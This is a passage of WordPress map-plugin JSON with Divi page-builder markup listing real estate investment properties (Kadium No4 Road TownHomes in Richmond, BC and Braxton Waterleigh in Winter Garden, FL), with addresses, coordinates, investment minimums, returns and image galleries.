Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Kadium No4 Road TownHomes\",\"post_link\":\"https:\/\/www.cpicapital.ca\/kadium-no4-road-townhomes\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"1_image\" width=\"300\" height=\"194\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/1_image-300x194.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10340 No 4 Rd, Richmond, BC V7A 3R9, Canada\",\"%_wpgmp_location_city%\":\"Richmond\",\"%_wpgmp_location_state%\":\"British Columbia\",\"%_wpgmp_location_country%\":\"Canada\",\"%_wpgmp_metabox_latitude%\":\"49.13664139999999\",\"%_wpgmp_metabox_longitude%\":\"-123.1139252\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"\",\"%_et_pb_truncate_post_date%\":\"\",\"%_et_pb_old_content%\":\"Test Map Post  2\",\"%_thumbnail_id%\":\"11522\",\"%_et_pb_built_for_post_type%\":\"page\",\"%_et_pb_ab_subjects%\":\"\",\"%_et_pb_enable_shortcode_tracking%\":\"\",\"%_et_pb_ab_current_shortcode%\":\"[et_pb_split_track id=\"10786\" \/]\",\"%_et_pb_custom_css%\":\"\",\"%_et_pb_gutter_width%\":\"2\",\"%_global_colors_info%\":\"{}\",\"%_et_builder_version%\":\"VB|Divi|4.9.0\",\"%_et_pb_show_page_creation%\":\"off\",\"%_wp_old_slug%\":\"test-map-post-2\",\"%_dp_original%\":\"10722\",\"%_edit_last%\":\"1\",\"%_edit_lock%\":\"1634582385:1\",\"taxonomy=category\":\"Multifamily\",\"taxonomy=post_tag\":\"\",\"taxonomy=post_format\":\"\"},\"icon\":\"https:\/\/www.canadianpassiveinvesting.com\/wp-content\/uploads\/2021\/02\/map-current-location.png\"},\"id\":10786,\"custom_filters\":[],\"infowindow_disable\":false},{\"source\":\"post\",\"title\":\"Braxton Waterleigh\",\"infowindow_content\":\"<div class=\"post_body\">rn<div class=\"location-image\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\"><div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div><\/a><\/div>rn<div class=\"location-description\">rn<div class=\"location-title\"><a target=\"_blank\" href=\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\">Braxton Waterleigh<\/a><\/div>rnrn<table class=\"address\" \"=\"\">rn<tbody><tr>rn<td><img src=\"\/wp-content\/uploads\/2021\/02\/location-description-pin.svg\"><\/td>rn<td>{marker_address}<\/td>rn<\/tr>rn<\/tbody><\/table>rn<div class=\"category\"><span>Multifamily<\/span><\/div>rn<\/div>rn<\/div>\",\"address\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"location\":{\"lat\":\"28.4132117\",\"city\":\"Winter Garden\",\"state\":\"Florida\",\"country\":\"United States\",\"lng\":\"-81.6333645\",\"onclick_action\":\"marker\",\"redirect_permalink\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"zoom\":10,\"extra_fields\":{\"post_excerpt\":\"\",\"post_content\":\"[et_pb_section fb_built=\"1\" module_class=\"section-location-gallery\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#f6f9fc\"][et_pb_row module_class=\"post-carousel\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-09.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-10.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-11.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-12.jpg\" alt=\"Braxton Waterleigh\" title_text=\"Braxton Waterleigh\" show_bottom_space=\"off\" force_fullwidth=\"on\" _builder_version=\"4.9.0\" _module_preset=\"default\" border_radii=\"on|5px|5px|5px|5px\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"section-location-main-v2\" module_class=\"section-location-main-v2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][et_pb_text admin_label=\"Text - Subtitle\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]Horizon West, Florida[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_6,1_6,1_6,1_6,1_6,1_6\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Minimum\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Minimum<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]$25K[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Distributions\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Distributions <\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Monthly[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Annualized Returns\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Annualized Returns<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]25.1%[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Target Hold\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Target Hold<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]5 Years[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Property Type\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Property Type<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Multifamily[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_6\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Asset Class \" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Asset Class<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\" hover_enabled=\"0\" sticky_enabled=\"0\"]Class A[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]<h3>Overview<\/h3>n<p>This community is a 354-unit community completed in 2021, representing top-quality suburban living in a rapidly growing suburb of the Orlando MSA.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Invested\" module_class=\"invested-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]100% <span>Invested<\/span>[\/et_pb_text][et_pb_text admin_label=\"Equity\" module_class=\"equity-module\" _builder_version=\"4.9.0\" _module_preset=\"default\" hover_enabled=\"0\" sticky_enabled=\"0\"]$32,000,000 <span>Equity<\/span>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" module_class=\"section-location-map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_row _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Map\" _builder_version=\"4.9.0\" _module_preset=\"default\"][put_wpgm id=7 current_post_only=true][\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" admin_label=\"Section Become an Investor\" module_class=\"section-become-an-investor\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_color=\"#16193a\" background_image=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bottom-section-bg.png\" locked=\"off\"][et_pb_row _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_column type=\"4_4\" _builder_version=\"4.8.2\" _module_preset=\"default\"][et_pb_text admin_label=\"Subscribe\" _builder_version=\"4.9.0\" _module_preset=\"default\" text_orientation=\"center\" background_layout=\"dark\"]<h5>CPI Capital helps busy professionals to earn <span>passive income<\/span> through real estate investing so they could have more time <span>freedom<\/span> to live a more <span>abundant life<\/span>.<\/h5>[\/et_pb_text][et_pb_button button_url=\"https:\/\/cpicapital.cpicapital.ca\/website?__hstc=230844480.4d57ee93d97208f67ef855cbb1d2b53d.1633341719967.1633410514045.1633419575663.4&__hssc=230844480.25.1633419575663&__hsfp=3601630007\" url_new_window=\"on\" button_text=\"become an investor\" button_alignment=\"center\" module_class=\"dark-bg\" _builder_version=\"4.9.0\" _module_preset=\"default\" background_layout=\"dark\"][\/et_pb_button][\/et_pb_column][\/et_pb_row][\/et_pb_section][et_pb_section fb_built=\"1\" disabled_on=\"on|on|on\" module_class=\"section-location-main\" _builder_version=\"4.9.0\" disabled=\"on\"][et_pb_row column_structure=\"2_3,1_3\" module_class=\"row-header\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"2_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_post_title author=\"off\" date=\"off\" comments=\"off\" featured_image=\"off\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_3\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_image src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/02\/bakerson.png\" title_text=\"bakerson\" align=\"right\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_image][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_4,1_4,1_4,1_4\" use_custom_gutter=\"on\" gutter_width=\"1\" module_class=\"row-location-info\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Address\" _builder_version=\"4.9.0\" background_enable_color=\"off\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Address<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]1725 W Vogel Ave, Phoenix, AZ&nbsp;85021[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Status\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Status<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]Sold[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Date Purchased\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Date Purchased<\/h6>[\/et_pb_text][et_pb_post_title title=\"off\" author=\"off\" date_format=\"m\/j\/Y\" categories=\"off\" comments=\"off\" featured_image=\"off\" admin_label=\"Date\" _builder_version=\"4.9.0\" _module_preset=\"default\"][\/et_pb_post_title][\/et_pb_column][et_pb_column type=\"1_4\" _builder_version=\"3.25\" custom_padding=\"|||\" custom_padding__hover=\"|||\"][et_pb_text admin_label=\"Unit Count\" _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]<h6>Unit Count<\/h6>[\/et_pb_text][et_pb_text _builder_version=\"4.9.0\" background_size=\"initial\" background_position=\"top_left\" background_repeat=\"repeat\"]16 units[\/et_pb_text][\/et_pb_column][\/et_pb_row][et_pb_row column_structure=\"1_2,1_2\" use_custom_gutter=\"on\" gutter_width=\"3\" module_class=\"row-overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Overview\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Overview<\/h3>n<p>Mountain Springs was purchased from an owner who self-managed. This property was acquired with low in place rents, and problematic financials which made it hard to secure permanent financing. The property received complete unit turns and we were able to increase the rents to market. Many of the rents were $100-200 below market. The exterior of the property had a landscaping overhaul which increased the curb appeal.<\/p>[\/et_pb_text][\/et_pb_column][et_pb_column type=\"1_2\" _builder_version=\"4.9.0\" _module_preset=\"default\"][et_pb_text admin_label=\"Key Details\" _builder_version=\"4.9.0\" _module_preset=\"default\"]<h3>Key Details<\/h3>n<table>n<tbody>n<tr>n<td>Ownership<\/td>n<td><span>10%<\/span> equity<\/td>n<\/tr>n<tr>n<td>Site Size<\/td>n<td><span>1.2<\/span> Acres<\/td>n<\/tr>n<tr>n<td>Year built<\/td>n<td>2001<\/td>n<\/tr>n<tr>n<td>Date Sold<\/td>n<td>12\/15\/2017<\/td>n<\/tr>n<tr>n<td>Value Add<\/td>n<td>Interior unit turns, Landscaping<\/td>n<\/tr>n<\/tbody>n<\/table>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\",\"post_title\":\"Braxton Waterleigh\",\"post_link\":\"https:\/\/www.cpicapital.ca\/braxton-waterleigh\/\",\"post_featured_image\":\"<div class=\"fc-feature-img\"><img alt=\"Braxton Waterleigh\" width=\"300\" height=\"200\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-300x200.jpg\" class=\"wp-post-image   wpgmp_featured_image\" ><\/div>\",\"post_categories\":\"Multifamily\",\"post_tags\":\"\",\"%inline_featured_image%\":\"0\",\"%_wpgmp_location_address%\":\"10091 Tuller Loop, Winter Garden, FL 34787, USA\",\"%_wpgmp_location_city%\":\"Winter Garden\",\"%_wpgmp_location_state%\":\"Florida\",\"%_wpgmp_location_country%\":\"United States\",\"%_wpgmp_metabox_latitude%\":\"28.4132117\",\"%_wpgmp_metabox_longitude%\":\"-81.6333645\",\"%_wpgmp_metabox_location_redirect%\":\"marker\",\"%_wpgmp_metabox_custom_link%\":\"\",\"%_wpgmp_map_id%\":\"a:2:{i:0;s:1:\"1\";i:1;s:1:\"7\";}\",\"%_wpgmp_metabox_marker_id%\":\"N;\",\"%_wpgmp_metabox_taxomomies_terms%\":\"N;\",\"%_wpgmp_extensions_fields%\":\"N;\",\"%_et_post_bg_color%\":\"#ffffff\",\"%_et_post_bg_layout%\":\"light\",\"%_et_pb_show_title%\":\"off\",\"%_et_pb_post_hide_nav%\":\"default\",\"%_et_pb_page_layout%\":\"et_full_width_page\",\"%_et_pb_side_nav%\":\"off\",\"%_et_pb_use_builder%\":\"on\",\"%_et_pb_first_image%\":\"\",\"%_et_pb_truncate_post%\":\"<p><div class=\"et_pb_section et_pb_section_4 section-location-gallery et_pb_with_background et_section_regular\" >nttttnttttnttttnttttnttttt<div class=\"et_pb_row et_pb_row_6 post-carousel\">ntttt<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_12  et_pb_css_mix_blend_mode_passthrough et-last-child\">nttttnttttntttt<div class=\"et_pb_module et_pb_image et_pb_image_5 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-01-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10730\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_6 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-02-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10731\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_7 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-03-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10732\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_8 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04-980x653.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-04-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10733\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_9 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-05-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10734\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_10 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06-980x654.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-06-480x320.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10735\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_11 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07-980x651.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-07-480x319.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10736\" \/><\/span>nttt<\/div><div class=\"et_pb_module et_pb_image et_pb_image_12 et_pb_image_sticky\">nttttnttttntttt<span class=\"et_pb_image_wrap \"><img loading=\"lazy\" src=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg\" alt=\"Braxton Waterleigh\" title=\"Braxton Waterleigh\" height=\"auto\" width=\"auto\" srcset=\"https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08.jpg 1110w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08-980x699.jpg 980w, https:\/\/www.cpicapital.ca\/wp-content\/uploads\/2021\/10\/Braxton-Waterleigh-08-480x342.jpg 480w\" sizes=\"(min-width: 0px) and (max-width: 480px) 480px, (min-width: 481px) and (max-width: 980px) 980px, (min-width: 981px) 1110px, 100vw\" class=\"wp-image-10737\" 